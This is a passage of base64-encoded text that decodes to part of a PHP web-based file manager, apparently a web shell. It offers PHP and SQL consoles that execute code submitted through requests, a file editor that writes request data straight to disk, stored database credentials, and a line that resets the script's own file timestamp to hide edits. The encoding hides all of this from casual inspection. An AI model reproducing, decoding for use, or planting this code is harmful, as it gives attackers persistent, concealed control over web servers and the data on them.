hCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUgvTGNMLy93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTMvKzgvL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3ovSENBQUFSS0NCS3JCQkcvVEJHQ3pBQmh6QkJkekJDL3hnTm9SQ0pNVENRaEJDQ21TQUhISmdLYXlDUWlpR3piQWRLbUF2MUVBZE5NQlJhSWFUY0E0dXdsVzREajF3RC9waENKN0JLTHlCQ1FSQnlBZ1RZU0hhaUFGaWlsZ2pqZ2dYbVlYNEljRklCQktMSkNESmlCUlJJa3VSTlVneFVvcFVJRlZJSGZJOWNnSTVoMXhHdXBFN3lBQXlndnlHdkVjeGxJR3lVVDNVRExWRHVhZzNHb1JHb2d2UVpIUXhtbzhXb0p2UWNyUWFQWXcyb2VmUXEyZ1AybzgrUThjd3dPZ1lCelBFYkRBdXhzTkNzVGdzQ1pOank3RWlyQXlyeGhxd1Zxd0R1NG4xWTgreGR3UVNnVVhBQ1RZRWQwSWdZUjVCU0ZoTVdFN1lTS2dnSENRMEVkb0pOd2tEaEZIQ0p5S1RxRXUwSnJvUitjUVlZakl4aDFoSUxDUFdFbzhUTHhCN2lFUEVOeVFTaVVNeUo3bVFBa214cEZUU0V0SkcwbTVTSStrc3FaczBTQm9qazhuYVpHdXlCem1VTENBcnlJWGtuZVRENURQa0crUWg4bHNLbldKQWNhVDRVK0lvVXNwcVNobmxFT1UwNVFabG1ESkJWYU9hVXQyb29WUVJOWTlhUXEyaHRsS3ZVWWVvRXpSMW1qbk5neFpKUzZXdG9wWFRHbWdYYVBkcHIraDB1aEhkbFI1T2w5Qlgwc3ZwUitpWDZBUDBkd3dOaGhXRHg0aG5LQm1iR0FjWVp4bDNHSytZVEtZWjA0c1p4MVF3TnpIcm1PZVpENWx2VlZncXRpcDhGWkhLQ3BWS2xTYVZHeW92VkttcXBxcmVxZ3RWODFYTFZJK3BYbE45cmtaVk0xUGpxUW5VbHF0VnFwMVE2MU1iVTJlcE82aUhxbWVvYjFRL3BINVovWWtHV2NOTXcwOURwRkdnc1YvanZNWWdDMk1aczNnc0lXc05xNFoxZ1RYRUpySE4yWHgyS3J1WS9SMjdpejJxcWFFNVF6TktNMWV6VXZPVVpqOEg0NWh4K0p4MFRnbm5LS2VYODM2SzNoVHZLZUlwRzZZMFRMa3haVnhycXBhWGxsaXJTS3RScTBmcnZUYXU3YWVkcHIxRnUxbjdnUTVCeDBvblhDZEhaNC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TC8xVS9XMzZwL1ZIREZnR3N3d2tCdHNNemhnOHhUVnhiendkTDhmYjhWRkRYY05BUTZWaGxXR1g0WVNSdWRFOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVGVwTjdwcFNUYm1tS2FZN1REdE14ODNNemFMTjFwazFtejB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuWWhkbnQ4V3V3KzZUdlpOOXVuMk4vVDBIRFlmWkRxc2RXaDErYzdSeUZEcFdPdDZhenB6dVAzM0Y5SmJwTDJkWXp4RFAyRFBqdGhQTEtjUnBuVk9iMDBkbkYyZTVjNFB6aUl1SlM0TExMcGMrTHBzYnh0M0l2ZVJLZFBWeFhlRjYwdldkbTdPYnd1Mm8yNi91TnU1cDdvZmNuOHcwbnltZVdUTnowTVBJUStCUjVkRS9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVi9NTjhDM3lMZkxUOE52bmwrRjMwTi9JLzlrLzNyLzBRQ25nQ1VCWndPSmdVR0JXd0w3K0hwOEliK09QenJiWmZheTJlMUJqS0M1UVJWQmo0S3RndVhCclNGb3lPeVFyU0gzNTVqT2tjNXBEb1ZRZnVqVzBBZGg1bUdMdzM0TUo0V0hoVmVHUDQ1d2lGZ2EwVEdYTlhmUjNFTnozMFQ2UkpaRTNwdG5NVTg1cnkxS05TbytxaTVxUE5vM3VqUzZQOFl1WmxuTTFWaWRXRWxzU3h3NUxpcXVObTVzdnQvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUSWhPT0pUd1FSQXFxQmFNSmZJVGR5V09Dbm5DSGNKbklpL1JOdEdJMkVOY0toNU84a2dxVFhxUzdKRzhOWGtreFRPbExPVzVoQ2Vwa0x4TURVemRtenFlRnBwMklHMHlQVHE5TVlPU2taQnhRcW9oVFpPMlorcG41bVoyeTZ4bGhiTCt4VzZMdHk4ZWxRZkphN09RckFWWkxRcTJRcWJvVkZvbzF5b0hzbWRsVjJhL3pZbktPWmFybml2TjdjeXp5dHVRTjV6dm4vL3RFc0lTNFpLMnBZWkxWeTBkV09hOXJHbzVzanh4ZWRzSzR4VUZLNFpXQnF3OHVJcTJLbTNWVDZ2dFY1ZXVmcjBtZWsxcmdWN0J5b0xCdFFGcjZ3dFZDdVdGZmV2YzErMWRUMWd2V2QrMVlmcUduUnMrRlltS3JoVGJGNWNWZjlnbzNIamxHNGR2eXIrWjNKUzBxYXZFdVdUUFp0Sm02ZWJlTFo1YkRwYXFsK2FYRG00TjJkcTBEZDlXdE8zMTlrWGJMNWZOS051N2c3WkR1YU8vUExpOFphZkp6czA3UDFTa1ZQUlUrbFEyN3RMZHRXSFgrRzdSN2h0N3ZQWTA3TlhiVzd6My9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0EvMEhJdzYyMTduVTFSM1NQVlJTajlZcjYwY094eCsrL3AzdmR5ME5OZzFWalp6RzRpTndSSG5rNmZjSjMvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUazJmeXo0eWRsWjE5Zmk3NTNHRGJvclo3NTJQTzMyb1BiKys2RUhUaDBrWC9pK2M3dkR2T1hQSzRkUEt5MitVVFY3aFhtcTg2WDIzcWRPbzgvcFBUVDhlN25MdWFycmxjYTdudWVyMjFlMmIzNlJ1ZU44N2Q5TDE1OFJiLzF0V2VPVDNkdmZONmIvZkY5L1hmRnQxK2NpZjl6c3U3MlhjbjdxMjhUN3hmOUVEdFFkbEQzWWZWUDF2KzNOanYzSDlxd0hlZzg5SGNSL2NHaFlQUC9wSDFqdzlEQlkrWmo4dUdEWWJybmpnK09UbmlQM0w5NmZ5blE4OWt6eWFlRi82aS9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1Ty9iWHlsL2VyQTZ4bXYyOGJDeGg2K3lYZ3pNVjcwVnZ2dHdYZmNkeDN2bzk4UFQrUjhJSDhvLzJqNXNmVlQwS2Y3a3htVGsvOEVBNWp6L0dNekxkc0FBQUFHWWt0SFJBRC9BUDhBLzZDOXA1TUFBQUFKY0VoWmN3QUFDeE1BQUFzVEFRQ2FuQmdBQUFBSGRFbE5SUWZjQ0F3R01UZzVYRUVUQUFBQjhrbEVRVlE0eTNXU01XL1RRQmlHbisrN3N4M1hkZE1BSW0wbmtDb2hSUWlKRFNFeGRBbC9BVEV3SVBFemtGaVlZR1JseU15R3hNTEV4RmhCeXk5QUNBYWEwZ1luRG9sOXg5RFlpVnM0NmRQbmsvdys5OTczbmdESi92NysreUFJQ2orZkkwSEEvNVp6RHU4OXpqbU9qbzZ5ZnIvL3dBSkJyOWU3RzRZaHhXU0NSRkg5MDJxVlpkbll4M0Y4RElRV0lNc3kxcElFWHhTb01mVko1MEZlREtVcmNHY3dBVkNBTkUxcHRWcW9LcXFLTWFiK3J2Wmh2TWJuMXkvd2c2ZEl0SWFJQUdBQlRrNU9TSklFOVI0QUVVRlZjYzdWUGY5MndQYnRsSHozQ1J0K2pxcFNPMmkzMjhSeFhOdGVoWWdJcHJYTytPTnpybDMrZ3RFQUVXMENoc01oV1pZMTdsNURqT1gwMHh1dTdvejVFVDNrVW1lakJ0ZUFUcWRESE1ld0VLOUNQREEvZk1WczZ4YWIyM3RuSXYySGcvRjQzSnk0OTRnTkdINTRTZmZHQnFmcmowbGFTM0hEUVpxbWhHR0lXOFJXeGZmbitEdjI1MXQrdGUvUjNlbmhFVVNXVlFOR294RjVudU5YeEtLR3J3ZnZDSGJ2NEs4OHdtaUo2bkt3alJpaktNSVlRem1mSTR2b1JJUWkzdVozOXo1Ym01MHphSFhxNHY0MVlEcWRnZ2hTbG9oekFNeW1PZGR2N21HTVVKWmxJOVpxd0UwSHFvaTFGMTVoSlZydEN4ZStBa2dZaGdUV0lzWmdvZ2dSd1ZwN1lXQ3J5eGlqRldBeUdBeWVJVktvY3lMVzFvK282dWNMOEhtZXo0RHhYKzhkQUxHN01lVlVBQUFBQUVsRlRrU3VRbUNDIik7Cn0KPD89Zm1faG9tZV9zdHlsZSgpPz4KLmltZyB7CgliYWNrZ3JvdW5kLWltYWdlOiAKdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQU1BQUFBb0xROVRBQUFBQkdkQlRVRUFBSy9JTndXSzZRQUFBZEZRVEZSRjdlM3QvZjM5cEorZitjSmFqVjhxNmVucGtHSW0vc0ZPLysyTzM5M2M1dWJtL3N4YmQyOXlpbWRuZUZnNjVPVGsyem9ZNnVIaTF6QVMxY3JKc0hzMm55Z28zTnJiMkxCWHJZdG0ycDVBLytoWHBvUnFwS09rd3JpNDYrdnIwTUczNllzejZ1anBtSTZBbnpVeXdMKy9tWFZTbUlCTjhid3dqMVZCeUxHemExWkowTkRRallTQi85Tmp3WjZDd1VBc3hrMGJyWnlXdzdwbUdaNEE2THRka0hkZi8rTjh5b3cyN2I1Vzg3Uk5MWkwvMmJpUDd3QUEvL0dKbDVlWDROZllzYWFMZ3A2aDFiK3QvKzZSNjhGZTg5eWNpbVpkL3VRdjNyOU51cENCOTlWMjVhMWNWSmJibkhoTy84eFMrTUJhOGZEd2kySmk0OHFpLytxT2RWSXpzMzR4Ly9HT1hJellwNVNQL3N4Z3FwaUljcCsvc2lRcGNtcHN0YXlzelNBTnVLS1Q5UFQwNHVMaXdJa3k4TGRFK3NWV3ZxYW04ZS92TDVJWitybEg4Y05nMDhDY3o3YWQ4dkx5OUx0VTFxeVV1WjQrcjUxMis4cy93VXBMM2QzZHg3VzFmR05hLzg5WjJjZkgrczVuNk9qb2IxWXRzN0t6MTlmWHdJZzRwMWROK1BqNHpMUjArOHBkN3N0cmhLQXMvOWhqLzlCVjFLdGZ0TFMxbnAyZFlsSlNaRlZWNUxSV2hFRkI1cmhaLzlKcTBIdFQvL0NTa0lxSjZLNUQrTE5OYmxWVnZqTTA0N1pNejdlMzF4RUcvLy8vdEtndTZ3QUFBSnQwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy93Q1ZWcEtZQUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFOWkpSRUZVS0ZOam1LV2lQUXNaTU14aW1zcVBLcEFiMk1zQVpOakxPd2t6Z2dWbUpZbnlwcy9RRTU5ZUtDRXRCaGFZRlJmalp1VGhIMjdsWTZrcUJ4WW9yUy9PTUM1d2lIWmtsMlFDQ1ZUa04rdHJ0Rmo0WlNwTW1hd0RGQkQwbENveW56WkJsMW5JSmo1NUVsQkEwOXBkdmM5YnVUMVNZS1lCV3cxUUlDMG9OWXNqckZISnBTa3ZSWXNCS0NDYk05SExOOXRXcmJxbmpVVUdaRzFBaEd1SVhaUnpwUWwzYUd3RDJCMmNaWjJ6RW9MN1crdTZxeUF1blpYSU9NdlFyRnlrcXdUaUZ6QlFOT1hqNFFLem9BS3phanRZSVF3QWx2dHBsM1Y1YzhNQUFBQUFTVVZPUks1Q1lJST0iKTsKfQpAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjcyMHB4KXsKICB0YWJsZXtkaXNwbGF5OmJsb2NrO30KICAgICNmbV90YWJsZSB0ZHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O30KICAgICNmbV90YWJsZSB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9CiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKzEpe2JhY2tncm91bmQtY29sb3I6I0VGRUZFRjt9CiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKXtiYWNrZ3JvdW5kLWNvbG9yOiNERUUzRTc7fQogICAgI2ZtX3RhYmxlIHRye2Rpc3BsYXk6YmxvY2s7ZmxvYXQ6bGVmdDtjbGVhcjpsZWZ0O3dpZHRoOjEwMCU7fQoJI2hlYWRlcl90YWJsZSAucm93MiwgI2hlYWRlcl90YWJsZSAucm93MyB7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9CgkjaGVhZGVyX3RhYmxlIHRhYmxlIHRkIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O30KfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocAokdXJsX2luYyA9ICc/Zm09dHJ1ZSc7CmlmIChpc3NldCgkX1BPU1RbJ3NxbHJ1biddKSYmIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9zcWxfY29uc29sZSddKSl7CgkkcmVzID0gZW1wdHkoJF9QT1NUWydzcWwnXSkgPyAnJyA6ICRfUE9TVFsnc3FsJ107CgkkcmVzX2xuZyA9ICdzcWwnOwp9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydwaHBydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcGhwX2NvbnNvbGUnXSkpewoJJHJlcyA9IGVtcHR5KCRfUE9TVFsncGhwJ10pID8gJycgOiAkX1BPU1RbJ3BocCddOwoJJHJlc19sbmcgPSAncGhwJzsKfSAKaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgewoJZWNobyAnIAo8dGFibGUgY2xhc3M9Indob2xlIj4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+Cjx0cj48dGggY29sc3Bhbj0iMiI+Jy5fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuX18oJ1NldHRpbmdzJykuJzwvdGg+PC90cj4KJy4oZW1wdHkoJG1zZyk/Jyc6Jzx0cj48dGQgY2xhc3M9InJvdzIiIGNvbHNwYW49IjIiPicuJG1zZy4nPC90ZD48L3RyPicpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93IHNpemUgb2YgdGhlIGZvbGRlcicpLCdzaG93X2Rpcl9zaXplJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ3BpY3R1cmVzJyksJ3Nob3dfaW1nJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ01ha2UgZGlyZWN0b3J5JyksJ21ha2VfZGlyZWN0b3J5JykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ05ldyBmaWxlJyksJ25ld19maWxlJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ1VwbG9hZCcpLCd1cGxvYWRfZmlsZScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgdmVyc2lvbicsJ3Nob3dfcGhwX3ZlcicpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgaW5pJywnc2hvd19waHBfaW5pJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ0dlbmVyYXRpb24gdGltZScpLCdzaG93X2d0JykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIHhscycsJ3Nob3dfeGxzJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCAnLl9fKCdDb25zb2xlJyksJ2VuYWJsZV9waHBfY29uc29sZScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBTUUwgJy5fXygnQ29uc29sZScpLCdlbmFibGVfc3FsX2NvbnNvbGUnKS4nCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3NlcnZlcl0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9zZXJ2ZXInXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHNlcnZlcjwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfdXNlcm5hbWVdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfdXNlcm5hbWUnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHVzZXI8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3Bhc3N3b3JkXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCBwYXNzd29yZDwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfZGJdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfZGInXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIERCPC90ZD48L3RyPgonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFByb3h5JywnZW5hYmxlX3Byb3h5JykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIHBocGluZm8oKScsJ3Nob3dfcGhwaW5mbycpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdTZXR0aW5ncycpLCdmbV9zZXR0aW5ncycpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ3Jlc3RvcmVfdGltZScpLicKJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdGaWxlIG1hbmFnZXInKS4nOiAnLl9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ2ZtX3Jlc3RvcmVfdGltZScpLicKPHRyPjx0ZCBjbGFzcz0icm93MyI+PGEgaHJlZj0iJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUmZm1fY29uZmlnX2RlbGV0ZT10cnVlIj4nLl9fKCdSZXNldCBzZXR0aW5ncycpLic8L2E+PC90ZD48dGQgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgbmFtZT0iZm1fY29uZmlnW2ZtX3NldF9zdWJtaXRdIj48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KPHRhYmxlPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLl9fKCdTZXR0aW5ncycpLicgLSAnLl9fKCdBdXRob3JpemF0aW9uJykuJzwvdGg+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2F1dGhvcml6ZV0iIHZhbHVlPSIxIiAnLigkYXV0aFsnYXV0aG9yaXplJ10/J2NoZWNrZWQnOicnKS4nIHR5cGU9ImNoZWNrYm94IiBpZD0iYXV0aCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjxsYWJlbCBmb3I9ImF1dGgiPicuX18oJ0F1dGhvcml6YXRpb24nKS4nPC9sYWJlbD48L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltsb2dpbl0iIHZhbHVlPSInLiRhdXRoWydsb2dpbiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdMb2dpbicpLic8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltwYXNzd29yZF0iIHZhbHVlPSInLiRhdXRoWydwYXNzd29yZCddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdQYXNzd29yZCcpLic8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltjb29raWVfbmFtZV0iIHZhbHVlPSInLiRhdXRoWydjb29raWVfbmFtZSddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdDb29raWUnKS4nPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bZGF5c19hdXRob3JpemF0aW9uXSIgdmFsdWU9IicuJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdEYXlzJykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PHRleHRhcmVhIG5hbWU9ImZtX2xvZ2luW3NjcmlwdF0iIGNvbHM9IjM1IiByb3dzPSI3IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiIGlkPSJhdXRoX3NjcmlwdCI+Jy4kYXV0aFsnc2NyaXB0J10uJzwvdGV4dGFyZWE+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1NjcmlwdCcpLic8L3RkPjwvdHI+Cjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPic7CmVjaG8gZm1fdHBsX2Zvcm0oJ3BocCcpLGZtX3RwbF9mb3JtKCdzcWwnKTsKfSBlbHNlaWYgKGlzc2V0KCRwcm94eV9mb3JtKSkgewoJZGllKCRwcm94eV9mb3JtKTsKfSBlbHNlaWYgKGlzc2V0KCRyZXNfbG5nKSkgewkKPz4KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+Cjx0cj4KICAgIDx0aD48Pz1fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuJHBhdGg/PjwvdGg+CjwvdHI+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MiI+PHRhYmxlPjx0cj48dGQ+PGgyPjw/PXN0cnRvdXBwZXIoJHJlc19sbmcpPz4gPD89X18oJ0NvbnNvbGUnKT8+PD9waHAKCWlmKCRyZXNfbG5nPT0nc3FsJykgZWNobyAnIC0gRGF0YWJhc2U6ICcuJGZtX2NvbmZpZ1snc3FsX2RiJ10uJzwvaDI+PC90ZD48dGQ+Jy5mbV9ydW5faW5wdXQoJ3BocCcpOwoJZWxzZSBlY2hvICc8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdzcWwnKTsKCT8+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4KPC90cj4KPHRyPgogICAgPHRkIGNsYXNzPSJyb3cxIj4KCQk8YSBocmVmPSI8Pz0kdXJsX2luYy4nJnBhdGg9JyAuICRwYXRoOz8+Ij48Pz1fXygnQmFjaycpPz48L2E+CgkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCIgbmFtZT0iY29uc29sZSI+CgkJPHRleHRhcmVhIG5hbWU9Ijw/PSRyZXNfbG5nPz4iIGNvbHM9IjgwIiByb3dzPSIxMCIgc3R5bGU9IndpZHRoOiA5MCUiPjw/PSRyZXM/PjwvdGV4dGFyZWE+PGJyLz4KCQk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSI8Pz1fXygnUmVzZXQnKT8+Ij4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iIG5hbWU9Ijw/PSRyZXNfbG5nPz5ydW4iPgo8P3BocAokc3RyX3RtcGwgPSAkcmVzX2xuZy4nX3RlbXBsYXRlcyc7CiR0bXBsID0gIWVtcHR5KCQkc3RyX3RtcGwpID8ganNvbl9kZWNvZGUoJCRzdHJfdG1wbCx0cnVlKSA6ICcnOwppZiAoIWVtcHR5KCR0bXBsKSl7CgkkYWN0aXZlID0gaXNzZXQoJF9QT1NUWyRyZXNfbG5nLidfdHBsJ10pID8gJF9QT1NUWyRyZXNfbG5nLidfdHBsJ10gOiAnJzsKCSRzZWxlY3QgPSAnPHNlbGVjdCBuYW1lPSInLiRyZXNfbG5nLidfdHBsIiB0aXRsZT0iJy5fXygnVGVtcGxhdGUnKS4nIiBvbmNoYW5nZT0iaWYgKHRoaXMudmFsdWUhPS0xKSBkb2N1bWVudC5mb3Jtc1tcJ2NvbnNvbGVcJ10uZWxlbWVudHNbXCcnLiRyZXNfbG5nLidcJ10udmFsdWUgPSB0aGlzLm9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWU7IGVsc2UgZG9jdW1lbnQuZm9ybXNbXCdjb25zb2xlXCddLmVsZW1lbnRzW1wnJy4kcmVzX2xuZy4nXCddLnZhbHVlID1cJ1wnOyIgPicuIlxuIjsKCSRzZWxlY3QgLj0gJzxvcHRpb24gdmFsdWU9Ii0xIj4nIC4gX18oJ1NlbGVjdCcpIC4gIjwvb3B0aW9uPlxuIjsKCWZvcmVhY2ggKCR0bXBsIGFzICRrZXk9PiR2YWx1ZSl7CgkJJHNlbGVjdC49JzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCghZW1wdHkoJHZhbHVlKSYmKCR2YWx1ZT09JGFjdGl2ZSkpPydzZWxlY3RlZCc6JycpLicgPicuX18oJGtleSkuIjwvb3B0aW9uPlxuIjsKCX0KCSRzZWxlY3QgLj0gIjwvc2VsZWN0PlxuIjsKCWVjaG8gJHNlbGVjdDsKfQo/PgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+CjwvdGFibGU+Cjw/cGhwCglpZiAoIWVtcHR5KCRyZXMpKSB7CgkJJGZ1bj0nZm1fJy4kcmVzX2xuZzsKCQllY2hvICc8aDM+Jy5zdHJ0b3VwcGVyKCRyZXNfbG5nKS4nICcuX18oJ1Jlc3VsdCcpLic8L2gzPjxwcmU+Jy4kZnVuKCRyZXMpLic8L3ByZT4nOwoJfQp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsnZWRpdCddKSl7CglpZighZW1wdHkoJF9SRVFVRVNUWydzYXZlJ10pKSB7CgkJJGZuID0gJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXTsKCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKCRmbik7CgkgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmbiwgJF9SRVFVRVNUWyduZXdjb250ZW50J10pKSAkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsKCQllbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7CgkJaWYgKCRfR0VUWydlZGl0J109PWJhc2VuYW1lKF9fRklMRV9fKSkgewoJCQl0b3VjaChfX0ZJTEVfXywxNDE1MTE2MzcxKTsKCQl9IGVsc2UgewoJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Jlc3RvcmVfdGltZSddKSkgdG91Y2goJGZuLCRmaWxlbXRpbWUpOwoJCX0KCX0KICAgICRvbGRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J10pOw